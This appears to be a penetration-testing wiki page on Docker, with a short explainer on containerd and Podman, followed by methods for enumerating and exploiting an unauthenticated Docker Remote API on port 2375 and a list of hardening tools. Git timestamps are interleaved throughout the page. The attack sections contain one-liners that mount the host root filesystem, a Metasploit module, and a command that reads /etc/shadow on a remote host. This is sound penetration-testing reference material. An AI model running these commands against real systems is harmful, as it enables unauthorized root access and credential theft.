### What is
The Docker Platform is the industry-leading container platform for continuous, high-velocity innovation, enabling organizations to seamlessly build and share any application — from legacy to what comes next — and securely run them anywhere.
2020-12-31 16:40:45 +00:00
### Basic docker architecture
This info is from [here](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc).
* [containerd](http://containerd.io) is a container runtime which can m**anage a complete container lifecycle - from image transfer/storage to container execution**, supervision and networking. **More information about containerd below.**
2020-12-31 16:40:45 +00:00
* container-shim handle headless containers, meaning once runc initializes the containers, it exits handing the containers over to the container-shim which acts as some middleman.
* [runc](http://runc.io) is lightweight universal run time container, which abides by the OCI specification. **runc is used by containerd for spawning and running containers according to OCI spec**. It is also the repackaging of libcontainer.
* [grpc](http://www.grpc.io) used for communication between containerd and docker-engine.
* [OCI](https://www.opencontainers.org) maintains the OCI specification for runtime and images. The current docker versions support OCI image and runtime specs.

2020-12-31 10:32:10 +00:00
### Basic commands
```bash
docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
2021-01-03 12:04:12 +00:00
docker save -o ubuntu.tar <image> #Export an image
2020-12-31 10:32:10 +00:00
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
# - all stopped containers
# - all networks not used by at least one container
# - all images without at least one container associated to them
# - all build cache
```
### Containerd
Containerd was designed to be used by Docker and Kubernetes as well as any other container platform that wants to **abstract away syscalls or OS specific functionality to run container**s on linux, windows, solaris, or other OSes. With these users in mind, we wanted to make sure that containerd has only what they need and nothing that they dont. Realistically this is impossible but at least that is what we try for. Things like **networking are out of scope for containerd**. The reason for this is, when you are building a distributed system, networking is a very central aspect. With SDN and service discovery today, networking is way more platform specific than abstracting away netlink calls on linux.
Note then that **Docker uses Containerd, but it only provides a subet of the features that Docker provides**. So for example ContainerD doesn't have Docker's network management features, nor can you use ContainerD alone to create Docker swarms.
```bash
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>
```

### Podman
2021-11-30 16:46:07 +00:00
**Info** [**from here**](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html#:\~:text=What%20is%20Podman%3F,and%20support%20for%20rootless%20containers.)****
2020-12-31 15:36:23 +00:00
Podman is an open source, OCI ([Open Container Initiative](https://github.com/opencontainers)) compliant container engine. It is driven by Red Hat and incorporates a few major differences from Docker, such as its daemonless architecture and support for rootless containers. At their core, **both tools do the same thing: manage images and containers**. One of **Podmans objectives is to have a Docker-compatible API**. Hence almost all CLI (command line interface) commands from the Docker CLI are also available in Podman.
2020-12-31 15:36:23 +00:00
You may find two other tools in the Podman ecosystem: Buildah and Skopeo. Buildah is a CLI tool used to build container images, and Skopeo is a CLI tool for running operations on images, such as push, pull or inspect. [Please check out GitHub](https://github.com/containers/buildah/tree/master/docs/containertools) for more information on these tools and their relationship with Podman.
**The major differences**
2021-11-30 16:46:07 +00:00
**The greatest difference between Docker and Podman is their architecture**. **Docker** runs on a **client-server** architecture, while **Podman** runs on a **daemonless** architecture. But what does that mean? When working with **Docker**, you have to use the Docker CLI, which communicates with a **background daemon** (the Docker daemon). The main logic resides in the daemon, which builds images and executes containers. This **daemon runs with root privileges**. The **Podman** architecture by contrast allows you to **run** the **containers under the user that is starting the container** (fork/exec), and this user does not need any root privileges. Because **Podman has a daemonless architecture, each user running Podman can only see and modify their own containers**. There is no common daemon that the CLI tool communicates with.
2020-12-31 15:36:23 +00:00
Since Podman does not have a daemon, it needs a way to support running containers in the background. It therefore provides an integration with **systemd**, which allows containers to be controlled via systemd units. Depending on the Podman version, you can generate these units for existing containers or generate units that are able to create containers if they do not exist in the system. There is another integration model with systemd, which enables systemd to run inside a container. By default, Docker uses systemd to control the daemon process.
The second major difference concerns how containers are executed. With **Podman**, **containers are executed under the users privileges and not under the daemon**. At this point, the concept of rootless containers comes into play, meaning that the container can be started without root privileges. Rootless containers have a huge advantage over rootful containers since (you guessed it) they do not run under the root account. The benefit of this is that if an attacker is able to capture and escape a container, this attacker is still a normal user on the host. Containers that are started by a user cannot have more privileges or capabilities than the user itself. This adds a natural layer of protection.
2020-12-31 15:36:23 +00:00
{% hint style="info" %}
Note that as podam aims to support the same API as docker, you can use the same commands with podman as with docker such as:
```bash
podman --version
podman info
pdoman images ls
podman ls
```
{% endhint %}
2020-12-31 16:14:52 +00:00
## Basic Information
2020-12-15 09:18:43 +00:00
Remote API is running by default on 2375 port when enabled. The service by default will not require authentication allowing an attacker to start a privileged docker container. By using the Remote API one can attach hosts / (root directory) to the container and read/write files of the hosts environment.
2020-12-15 09:18:43 +00:00
**Default port:** 2375
```
2020-12-15 09:18:43 +00:00
PORT STATE SERVICE
2375/tcp open docker
```
2020-12-31 16:14:52 +00:00
## Enumeration
### Manual
Note that in order to enumerate the docker API you can use the `docker` command or `curl` like in the following example:
```bash
#Using curl
2020-12-31 16:14:52 +00:00
curl -s http://open.docker.socket:2375/version | jq #Get version

#### Fast privilege escalation
```bash
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
```
2020-12-31 16:14:52 +00:00
#### Curl
2021-11-30 16:46:07 +00:00
Sometimes youll see **2376** up for the **TLS** endpoint. I havent been able to connect to it with the docker client but you can with curl no problem to hit the docker API.
2020-12-31 16:14:52 +00:00

### Automatic
2020-12-15 09:18:43 +00:00
```bash
msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>
```
2020-12-31 16:14:52 +00:00
## Compromising
2020-12-15 09:18:43 +00:00
2021-04-28 23:33:12 +00:00
In the following page you can find ways to **escape from a docker container**:
2020-12-31 15:47:59 +00:00
{% content-ref url="../linux-unix/privilege-escalation/docker-breakout/" %}
[docker-breakout](../linux-unix/privilege-escalation/docker-breakout/)
{% endcontent-ref %}
2020-12-31 15:47:59 +00:00
Abusing this it's possible to escape form a container, you could run a weak container in the remote machine, escape from it, and compromise the machine:
2020-12-15 09:18:43 +00:00
```bash
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
```

2020-12-31 16:16:16 +00:00
## Privilege Escalation
If you are inside a host that is using docker, you may [**read this information to try to elevate privileges**](../linux-unix/privilege-escalation/#writable-docker-socket).
2021-04-28 23:33:12 +00:00
## Discovering secrets in running Docker containers
```bash
docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>
```
Check **env** (environment variable section) for secrets and you may find:
2021-04-28 23:33:12 +00:00
* Passwords.
* Ips.
* Ports.
* Paths.
* Others… .
If you want to extract a file:
```bash
docker cp <docket_id>:/etc/<secret_01> <secret_01>
```
2021-01-04 12:13:07 +00:00
## Securing your Docker
### Securing Docker installation and usage
* You can use the tool [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security) to inspect your current docker installation.
2021-11-30 16:46:07 +00:00
* &#x20;`./docker-bench-security.sh`
2021-01-04 12:13:07 +00:00
* You can use the tool [https://github.com/kost/dockscan](https://github.com/kost/dockscan) to inspect your current docker installation.
* `dockscan -v unix:///var/run/docker.sock`
* You can use the tool [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) the privileges a container will have when run with different security options. This is useful to know the implications of using some security options to run a container:
* `docker run --rm -it r.j3ss.co/amicontained`
* `docker run --rm -it --pid host r.j3ss.co/amicontained`
* `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
### Securing Docker Images
* You can use a docker image of [https://github.com/quay/clair](https://github.com/quay/clair) to make it scan your other docker images and find vulnerabilities.
* `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
* `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`
### Securing Dockerfiles
* You can use the tool [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) to **inspect your Dockerfile** and find all kinds of misconfigurations. Each misconfiguration will be given an ID, you can find here [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) how to fix each of them.
* `dockerfilelinter -f Dockerfile`
![](<../.gitbook/assets/image (418).png>)
* You can use the tool [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) to **inspect your Dockerfile** and find all kinds of misconfigurations.
* `dockerfilelint Dockerfile`
![](<../.gitbook/assets/image (419).png>)
* You can use the tool [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) to **inspect your Dockerfile** and find all kinds of misconfigurations.
* `dockerlint Dockerfile`
![](<../.gitbook/assets/image (420).png>)
* You can use the tool [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) to **inspect your Dockerfile** and find all kinds of misconfigurations.
* `hadolint Dockerfile`
![](<../.gitbook/assets/image (421).png>)
2021-01-04 12:13:07 +00:00
### Logging Suspicious activity
* You can use the tool [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) to detect **suspicious behaviour in running containers**.
* Note in the following chunk how **Falco compiles a kernel module and insert it**. After that, it loads the rules and **start logging suspicious activities**. In this case it has detected 2 privileged containers started, 1 of them with a sensitive mount, and after some seconds it detected how a shell was opened inside one of the containers.
```
